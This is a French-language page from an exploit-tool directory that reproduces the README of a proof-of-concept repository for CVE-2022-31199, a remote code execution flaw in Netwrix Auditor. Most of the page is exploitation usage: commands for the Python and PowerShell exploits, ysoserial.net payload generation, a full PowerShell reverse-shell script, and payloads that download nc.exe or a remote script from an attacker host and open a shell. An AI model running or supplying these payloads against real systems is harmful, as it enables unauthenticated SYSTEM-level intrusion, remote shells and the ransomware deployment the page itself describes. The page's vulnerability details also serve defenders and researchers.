Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-31199 — Preuves de concept pour CVE-2022-31199, une vulnérabilité critique de désérialisation .NET conduisant à une exécution de code à distance (RCE) dans Netwrix Auditor. Inclut des scripts Python et PowerShell, la génération de charges utiles avec ysoserial.net, et des signatures de détection pour des tests de sécurité autorisés. | Kitploit
Outils/GitHubGitHub/developerfred/cve-2022-31199
Analyse des VulnérabilitésExploitationTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed TeamingDéveloppement de Charges UtilesLabs et Pratique
GitHub
developerfred/cve-2022-31199

CVE-2022-31199

Voir le dépôt
13il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuves de concept pour CVE-2022-31199, une vulnérabilité critique de désérialisation .NET conduisant à une exécution de code à distance (RCE) dans Netwrix Auditor. Inclut des scripts Python et PowerShell, la génération de charges utiles avec ysoserial.net, et des signatures de détection pour des tests de sécurité autorisés.

Partager

CVE-2022-31199 - POC d'exploitation RCE de Netwrix Auditor

🔍 Aperçu de la vulnérabilité

CVE-2022-31199 est une vulnérabilité critique de désérialisation d'objets non sécurisée dans Netwrix Auditor versions antérieures à 10.5. La vulnérabilité existe dans un service .NET Remoting non sécurisé écoutant sur le port TCP 9004, permettant à des attaquants distants non authentifiés d'exécuter du code arbitraire avec les privilèges NT AUTHORITY\SYSTEM.

Détails de la vulnérabilité

  • CVE ID : CVE-2022-31199
  • CVSS Score : 9.8 (Critique)
  • CWE : CWE-502 (Désérialisation de données non fiables)
  • Versions affectées : Netwrix Auditor < 10.5
  • Vecteur d'attaque : Réseau (Non authentifié)
  • Privilèges requis : Aucun
  • Impact : Compromission complète du système avec privilèges SYSTEM
  • CISA KEV : Répertorié dans le catalogue des vulnérabilités exploitées connues

Impact dans le monde réel

Cette vulnérabilité a été activement exploitée dans la nature par :

  • La campagne de logiciels malveillants Truebot (opérateurs de ransomware CL0P/TA505 affiliés à la Russie)
  • Le groupe cybercriminel Silence
  • Les acteurs de la menace FIN11

L'exploitation réussie conduit généralement à :

  • Compromission complète du domaine Active Directory
  • Mouvement latéral à travers les systèmes surveillés
  • Exfiltration de données
  • Déploiement de ransomware

📦 Contenu du dépôt

Ce dépôt contient des exploits complets de Preuve de Concept (POC) pour CVE-2022-31199 :

Fichiers

  1. exploit.py - Framework d'exploitation basé sur Python
  2. exploit.ps1 - Script d'exploitation PowerShell
  3. README.md - Cette documentation
  4. manual-exploitation.md - Guide d'exploitation manuelle étape par étape

🛠️ Prérequis

Outils requis

Exploitation basée sur Windows (Recommandé)

  • ysoserial.net - Générateur de charge utile de désérialisation .NET

    • Téléchargement : https://github.com/pwntester/ysoserial.net
    • Versions : https://github.com/pwntester/ysoserial.net/releases
  • ExploitRemotingService - Outil d'exploitation .NET Remoting

    • Téléchargement : https://github.com/tyranid/ExploitRemotingService
    • Alternative (améliorée) : https://github.com/codewhitesec/ExploitRemotingService

Prérequis du script Python

  • Python 3.6 ou supérieur
  • Bibliothèque standard uniquement (aucune dépendance externe pour les vérifications de base)
  • Accès aux exécutables ysoserial.net et ExploitRemotingService

Prérequis du script PowerShell

  • PowerShell 5.1 ou supérieur
  • Système d'exploitation Windows
  • ysoserial.exe et ExploitRemotingService.exe dans le répertoire du script

🚀 Démarrage rapide

1. Vérifier si la cible est vulnérable

Avec Python :

python3 exploit.py --target 192.168.1.100 --check

Avec PowerShell :

.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

2. Générer la charge utile

# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"

3. Exécuter l'exploit

Python (avec charge utile pré-générée) :

python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]

PowerShell (automatique) :

.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

📖 Utilisation détaillée

Exploit Python (exploit.py)

Vérification de base de la vulnérabilité

python3 exploit.py --target 10.10.10.100 --check

Exploitation complète avec charge utile personnalisée

# Step 1: Générer la charge utile
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"

# Step 2: Exécuter l'exploit
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]

Options avancées

# Port personnalisé
python3 exploit.py --target 10.10.10.100 --port 9004 --check

# Point de terminaison personnalisé
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check

Arguments de la ligne de commande

--target    : Adresse IP ou nom d'hôte de la cible (obligatoire)
--port      : Port cible (par défaut : 9004)
--endpoint  : Nom du point de terminaison .NET Remoting (par défaut : UAVRServer)
--check     : Vérifier uniquement la vulnérabilité, ne pas exploiter
--payload   : Charge utile encodée en base64 provenant de ysoserial.net

Exploit PowerShell (exploit.ps1)

Vérification de vulnérabilité uniquement

.\exploit.ps1 -Target 192.168.1.100 -CheckOnly

Exécuter une commande

# Exécution simple de commande
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"

# Écrire la sortie dans un fichier
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"

# Port personnalisé
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"

Paramètres

-Target     : Adresse IP ou nom d'hôte de la cible (obligatoire)
-Port       : Port cible (par défaut : 9004)
-Command    : Commande à exécuter sur la cible (par défaut : "whoami")
-CheckOnly  : Vérifier uniquement la vulnérabilité, ne pas exploiter

🎯 Exemples d'exploitation

Exemple 1 : Collecte d'informations

# Vérifier les informations système
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"

Exemple 2 : Shell inverse

Configurer le listener :

nc -lvnp 4444

Générer la charge utile :

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

Exemple 3 : Shell inverse PowerShell

Créer le script de shell inverse (rev.ps1) :

$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Héberger le script :

python3 -m http.server 8000

Générer la charge utile :

ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"

Exemple 4 : Utilisation directe d'ExploitRemotingService

# Tester la connectivité
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver

# Exécuter avec mode lease (contourne certaines protections)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\

# Exécuter avec référence d'objet
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"

🔬 Détails techniques

Cause racine de la vulnérabilité

La vulnérabilité provient de :

  1. Point de terminaison .NET Remoting non sécurisé sur le port TCP 9004
  2. Désérialisation BinaryFormatter sans filtrage approprié des types
  3. Service UAVRServer acceptant des objets sérialisés arbitraires
  4. Service s'exécutant avec des privilèges SYSTEM dans les déploiements typiques

Processus d'exploitation

1. L'attaquant se connecte au port TCP 9004
2. Identifie le service .NET Remoting (point de terminaison UAVRServer)
3. Génère une charge utile malveillante sérialisée à l'aide de ysoserial.net
4. Envoie la charge utile via le protocole .NET Remoting
5. La cible désérialise l'objet à l'aide de BinaryFormatter
6. La chaîne de gadgets exécute du code arbitraire
7. Le code s'exécute avec les privilèges NT AUTHORITY\SYSTEM

Chaînes de gadgets prises en charge

Télécharger l’outil